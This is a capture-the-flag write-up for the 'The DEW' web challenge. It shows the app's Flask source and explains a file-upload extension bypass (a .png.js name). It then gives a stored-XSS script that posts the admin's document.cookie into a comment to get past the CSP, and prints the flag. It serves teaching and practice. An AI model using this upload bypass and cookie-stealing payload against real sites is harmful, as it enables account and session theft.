f1rst_
Overview
The DEW - Space Heroes CTF

The DEW - Space Heroes CTF

4 min read

I joined this event pretty late and the web challenges were fairly easy. In this post I’ll only walk through my solution for The DEW, since that one felt like a proper CTF challenge.


The DEW

Hello fellow Donut Earther! Check out this neat site that forwards our cause! The thing is, we think that the admin is actually a flat earther. Think you can figure it out?

Hitting the web:

Recon and planning

A quick look around. The site lets us add comments and upload image files. The comment feature also has a call admin button -> most likely XSS

Looking at the site’s source we find a path to the source code (honestly this challenge doesn’t need the source code, but they gave it to us so why not use it right :))))))

Terminal window
#https://www.w3schools.com/howto/howto_css_blog_layout.asp
#https://flask.palletsprojects.com/en/latest/patterns/fileuploads/
import os
import redis
import subprocess
from uuid import uuid4
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_socketio import SocketIO, emit
from werkzeug.utils import secure_filename
UPLOAD_FOLDER = os.path.abspath('../') + '/images/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app = Flask(__name__)
limiter = Limiter(
get_remote_address,
app=app,
default_limits=["30 per minute"]
)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)
comments = []
def allowed_file(filename):
return '.' in filename and filename.rsplit('.')[1].lower() in ALLOWED_EXTENSIONS
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy']="default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';"
return resp
@socketio.on('submit comment')
def handle_comment(data):
comments.append("<p class=\"comment\"><strong>" + data['author'] + ":</strong> " + data['comment'] + "</p>");
emit('new comment', broadcast=True)
@socketio.on('waive admin')
def waive_admin():
subprocess.run(['python','admin.py'])
@app.route('/', methods=['GET'])
def news():
if 'flag' in request.cookies:
return render_template('/news.html', comments=comments)
else:
resp = make_response(render_template('/news.html', comments=comments))
resp.set_cookie('flag','if only you were the admin lol')
return resp
@app.route('/upload', methods=['GET','POST'])
def upload():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return render_template('/upload.html',message='No file uploaded :(')
file = request.files['file']
if not file:
flash('No file data')
return render_template('/upload.html',message='No file uploaded :(')
if file.filename == '':
flash('No selected file')
return render_template('/upload.html',message='Filename can\'t be empty, silly!')
if allowed_file(file.filename):
filename = session['uuid'] + secure_filename(file.filename)
print(filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return render_template('/upload.html',message=f'Image uploaded successfully to /images/{filename}!')
else:
return render_template('/upload.html',message='Bad file type detected! Only .png, .jpg, .jpeg, and .gif allowed!')
return render_template('/upload.html')
@app.route('/images/<name>', methods=['GET'])
def download_file(name):
return send_from_directory(app.config["UPLOAD_FOLDER"], name)
@app.route('/source',methods=['GET'])
def show_source():
return render_template('server_code.py')
if __name__=='__main__':
app.run(host="0.0.0.0",port=31337)

The interesting bit is here

There’s a CSP header -> we can’t execute inline scripts and we can’t fetch to another endpoint. Only content coming from the site itself (self) or from jquery.com and cloudflare.com is accepted.

So I need to bypass CSP, or find some way to upload a script onto the site itself so it can execute. And conveniently enough the site lets us upload images :)) -> we need to bypass the upload file check to upload a script -> XSS

Bypassing the upload to drop a script file

The site has an image upload feature and only accepts these extensions:

Bypassing Flask’s file extension check is pretty easy. Here I used two nested extensions like this script1.png.js:

Terminal window
alert(1);

-> successfully uploaded the script I wanted.

Let’s try executing this script through the comment form:

OK, we’ve figured out the XSS, now we just need to find the flag. The site’s cookie:

-> the flag is most likely in the admin’s cookie. Usually at this point I’d write a simple script that fetches some external endpoint with document.cookie attached, then call the admin to grab their cookie. But as mentioned above, CSP stops us from doing that -> so the only option is to find a way to write the cookie somewhere on the site. And the only place we can write to is the comment form.

Here’s the script that handles comments:

$(document).ready(function () {
var socket = io.connect('http://' + document.domain + ':' + location.port)
socket.on('connect', function () {
console.log('Connected to server')
})
socket.on('refresh feed', function () {
// Append new comment to existing comments
window.location.reload()
})
$('#comment-form').submit(function (e) {
e.preventDefault()
var author = $('#comment-author').val()
var comment = $('#comment-input').val()
socket.emit('submit comment', { author: author, comment: comment })
$('#comment-author').val('')
$('#comment-input').val('')
})
document.getElementById('refresh').onclick = function () {
window.location.reload()
}
document.getElementById('waive').onclick = function () {
socket.emit('waive admin')
}
})

I wrote a script to write into a comment and hit submit:

Terminal window
$(document).ready(function() {
$('#comment-author').val('hello');
$('#comment-input').val(document.cookie);
$('#comment-form').submit();
});

Upload this file, enter the content into the comment form as shown, hit submit and refresh the feed to see:

-> ok, successfully wrote my own cookie onto the page -> admin call timeeeeee

(You should clear all your cookies first to get a fresh page)

Flag:

Terminal window
shctf{w3_a11_l1v3_und3r_th3_DOMe}